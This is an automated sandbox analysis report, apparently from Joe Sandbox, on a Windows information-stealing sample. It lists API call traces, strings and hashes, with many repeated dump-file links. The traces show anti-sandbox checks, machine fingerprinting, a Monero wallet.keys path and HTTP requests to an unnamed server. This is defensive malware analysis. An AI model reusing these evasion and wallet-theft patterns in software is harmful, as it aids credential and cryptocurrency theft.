Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 47dae3a8998cb30f52664f75173e23284c733eb3886b119bbaf0d78532229872
Instruction ID: 954440243653cbc4111a06842feab4e770ec6a95267ed75bd36712ef76b1a65e
Opcode Fuzzy Hash: 47dae3a8998cb30f52664f75173e23284c733eb3886b119bbaf0d78532229872
Instruction Fuzzy Hash: 98714E75A00218EBEF24DFA0CD49BEE7774BB45701F108199F509AB1D0DBB46A89CF52

Function 00A55510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A5A820: lstrlen.KERNEL32(00A44F05,?,?,00A44F05,00A60DDE), ref: 00A5A82B
Part of subcall function 00A5A820: lstrcpy.KERNEL32(00A60DDE,00000000), ref: 00A5A885

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A55644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A556A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A55857

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A551F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A55228

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

Part of subcall function 00A552C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A55318
Part of subcall function 00A552C0: lstrlen.KERNEL32(00000000), ref: 00A5532F
Part of subcall function 00A552C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00A55364
Part of subcall function 00A552C0: lstrlen.KERNEL32(00000000), ref: 00A55383
Part of subcall function 00A552C0: lstrlen.KERNEL32(00000000), ref: 00A553AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A5578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00A55940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A55A0C
Sleep.KERNEL32(0000EA60), ref: 00A55A1B

Strings

ERROR, xrefs: 00A55932
ERROR, xrefs: 00A5577D
ERROR, xrefs: 00A55693
ERROR, xrefs: 00A55636
ERROR, xrefs: 00A55849
ERROR, xrefs: 00A559FE

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: b3c05009e26d6561a511183647fcabea119ddd9560e1e27072448a35209be49a
Instruction ID: 07de5aa348d03e6cfd2b9801bbe63f9c810c257438ad044acfd6d1317915f86a
Opcode Fuzzy Hash: b3c05009e26d6561a511183647fcabea119ddd9560e1e27072448a35209be49a
Instruction Fuzzy Hash: B6E15271E10104AADB14FBB0DE56EED7738BF64341F508629B90766091EF346B4DCBA2

Function 00A517A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00A517C5
ExitProcess.KERNEL32 ref: 00A517D1

Strings

block, xrefs: 00A517B7

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: e11f905fb3dd1ad8101ce208488546b729867209f9272907dcd40c813a2380c1
Instruction ID: 15fc8ab9e77b5976dc187dc15236da0481aff20cb7b5e0ba36adf7167e75041a
Opcode Fuzzy Hash: e11f905fb3dd1ad8101ce208488546b729867209f9272907dcd40c813a2380c1
Instruction Fuzzy Hash: 4F517BB4B00209EFDB04DFA0D954BBE77B5BF44706F10854DE906AB280E770E989CB66

Function 00A57500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00A57542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00A5757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57603
RtlAllocateHeap.NTDLL(00000000), ref: 00A5760A
wsprintfA.USER32 ref: 00A57640

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Strings

C, xrefs: 00A5754C
:, xrefs: 00A5755C
\, xrefs: 00A57560

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 3af9c2b03f89766d39b5fa83b463085dd48d620c6ee48301799908c9ae857a21
Instruction ID: 65f473dea2befbe61296fad37aef70fc25a7f7964193914ba1fdd0167264f9a8
Opcode Fuzzy Hash: 3af9c2b03f89766d39b5fa83b463085dd48d620c6ee48301799908c9ae857a21
Instruction Fuzzy Hash: 614182B1D04248ABDB10DF94DD45BDEBBB8BF18705F100199F90977280E779AA48CBA5

Function 00A569F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600CD8), ref: 00A598A1
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600E10), ref: 00A598BA
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600C60), ref: 00A598D2
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600ED0), ref: 00A598EA
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600E28), ref: 00A59903
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01608FF8), ref: 00A5991B
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,015F6A00), ref: 00A59933
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,015F6740), ref: 00A5994C
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600CF0), ref: 00A59964
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600E40), ref: 00A5997C
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600F00), ref: 00A59995
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600E70), ref: 00A599AD
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,015F6900), ref: 00A599C5
Part of subcall function 00A59860: GetProcAddress.KERNEL32(75900000,01600C78), ref: 00A599DE

Part of subcall function 00A5A740: lstrcpy.KERNEL32(00A60E17,00000000), ref: 00A5A788

Part of subcall function 00A411D0: ExitProcess.KERNEL32 ref: 00A41211

Part of subcall function 00A41160: GetSystemInfo.KERNEL32(?), ref: 00A4116A
Part of subcall function 00A41160: ExitProcess.KERNEL32 ref: 00A4117E

Part of subcall function 00A41110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A4112B
Part of subcall function 00A41110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00A41132
Part of subcall function 00A41110: ExitProcess.KERNEL32 ref: 00A41143

Part of subcall function 00A41220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A4123E
Part of subcall function 00A41220: __aulldiv.LIBCMT ref: 00A41258
Part of subcall function 00A41220: __aulldiv.LIBCMT ref: 00A41266
Part of subcall function 00A41220: ExitProcess.KERNEL32 ref: 00A41294

Part of subcall function 00A56770: GetUserDefaultLangID.KERNEL32 ref: 00A56774

Part of subcall function 00A41190: ExitProcess.KERNEL32 ref: 00A411C6

Part of subcall function 00A57850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00A411B7), ref: 00A57880
Part of subcall function 00A57850: RtlAllocateHeap.NTDLL(00000000), ref: 00A57887
Part of subcall function 00A57850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A5789F

Part of subcall function 00A578E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A57910
Part of subcall function 00A578E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A57917
Part of subcall function 00A578E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A5792F

Part of subcall function 00A5A9B0: lstrlen.KERNEL32(?,016091B8,?,\Monero\wallet.keys,00A60E17), ref: 00A5A9C5
Part of subcall function 00A5A9B0: lstrcpy.KERNEL32(00000000), ref: 00A5AA04
Part of subcall function 00A5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A5AA12

Part of subcall function 00A5A8A0: lstrcpy.KERNEL32(?,00A60E17), ref: 00A5A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01608FD8,?,00A6110C,?,00000000,?,00A61110,?,00000000,00A60AEF), ref: 00A56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A56AE8
CloseHandle.KERNEL32(00000000), ref: 00A56AF9
Sleep.KERNEL32(00001770), ref: 00A56B04
CloseHandle.KERNEL32(?,00000000,?,01608FD8,?,00A6110C,?,00000000,?,00A61110,?,00000000,00A60AEF), ref: 00A56B1A
ExitProcess.KERNEL32 ref: 00A56B22

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 2fe0e4cdc316706ab2c5ea89b1e7e8135bb7c0127b23c4e65212602f672ae207
Instruction ID: 832189fcc0d1f7533cf9cc64d28c22cfd85d4d55d53071fe457b924eb91e13b9
Opcode Fuzzy Hash: 2fe0e4cdc316706ab2c5ea89b1e7e8135bb7c0127b23c4e65212602f672ae207
Instruction Fuzzy Hash: 6C315471E00108ABDB04F7F0DE56BEE7778BF64342F404619FA02A2191EF706949C7A6

Function 00A41220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00A4123E
__aulldiv.LIBCMT ref: 00A41258
__aulldiv.LIBCMT ref: 00A41266
ExitProcess.KERNEL32 ref: 00A41294

Strings

@, xrefs: 00A41233

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ac62ec31f0e188dc92b3f4452dbcc9173fec23f2c1fbd0d22b233e0fec950591
Instruction ID: 29a2ed572a692285f08b021285168c22c196ddaf6e2c6c833bbe314032a86e87
Opcode Fuzzy Hash: ac62ec31f0e188dc92b3f4452dbcc9173fec23f2c1fbd0d22b233e0fec950591
Instruction Fuzzy Hash: 09016DB0E44308FAEB10DBE0CD49BDEBB78BB44702F208059E705F62C0E7B455858799

Function 00A56AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01608FD8,?,00A6110C,?,00000000,?,00A61110,?,00000000,00A60AEF), ref: 00A56ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A56AE8
CloseHandle.KERNEL32(00000000), ref: 00A56AF9
Sleep.KERNEL32(00001770), ref: 00A56B04
CloseHandle.KERNEL32(?,00000000,?,01608FD8,?,00A6110C,?,00000000,?,00A61110,?,00000000,00A60AEF), ref: 00A56B1A
ExitProcess.KERNEL32 ref: 00A56B22

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 554985fc36d15cdbe145afd68778f97ba1c2c2176cbcc0f3153d7810c84097fb
Instruction ID: 74c57f862819488063f084421d12ab4264b82c9a1f692180d6df049accac292c
Opcode Fuzzy Hash: 554985fc36d15cdbe145afd68778f97ba1c2c2176cbcc0f3153d7810c84097fb
Instruction Fuzzy Hash: E7F05E70A40209ABF700ABA0DD0ABBD7B74FB18742F908515BE03A21D1DBB05548D76A

Function 00A447B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A44839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00A44849

Strings

<, xrefs: 00A447C9

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 1be8c7f9078f7b3c54b3264ccae1327592cb7cfe2c22ff9d4adb7bbc5c202e96
Instruction ID: 8257ce4853f2fca032ad3a74bbf5424482d96c0f822f504817ef0974e524bfb1
Opcode Fuzzy Hash: 1be8c7f9078f7b3c54b3264ccae1327592cb7cfe2c22ff9d4adb7bbc5c202e96
Instruction Fuzzy Hash: 6B213BB1D00209ABDF14DFA5ED49BDE7B75FB44320F108625FA25A7291EB706A09CB81

Function 00A551F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A5A7E6

Part of subcall function 00A46280: InternetOpenA.WININET(00A60DFE,00000001,00000000,00000000,00000000), ref: 00A462E1
Part of subcall function 00A46280: StrCmpCA.SHLWAPI(?,0160E9B0), ref: 00A46303
Part of subcall function 00A46280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A46335
Part of subcall function 00A46280: HttpOpenRequestA.WININET(00000000,GET,?,0160E578,00000000,00000000,00400100,00000000), ref: 00A46385
Part of subcall function 00A46280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00A463BF
Part of subcall function 00A46280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00A463D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00A55228

Strings

ERROR, xrefs: 00A5521A
ERROR, xrefs: 00A55273

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000C9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000E23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137176697.0000000000F37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137443072.0000000000F38000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137642310.00000000010D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137654171.00000000010D2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 4e0f5d05be1b8db5ab297f4c49bde610a4de99ea38dd73464e412e4ba7e6389a
Instruction ID: d7174ec218e133b21d52e74f6d9627701b4db5180fbb2c1177785aa5eface45f
Opcode Fuzzy Hash: 4e0f5d05be1b8db5ab297f4c49bde610a4de99ea38dd73464e412e4ba7e6389a
Instruction Fuzzy Hash: 4711F130A10148A7DB14FF74DE52AED7738BF60341F404654FD1A56592EF306B09C792

Function 00A41110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00A4112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00A41132
ExitProcess.KERNEL32 ref: 00A41143

Memory Dump Source

Source File: 00000000.00000002.2137026012.0000000000A41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.2136987282.0000000000A40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000AFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2137026012.0000000000B22000.00000040.00000001.01000000.00000003.sdmpDownload File
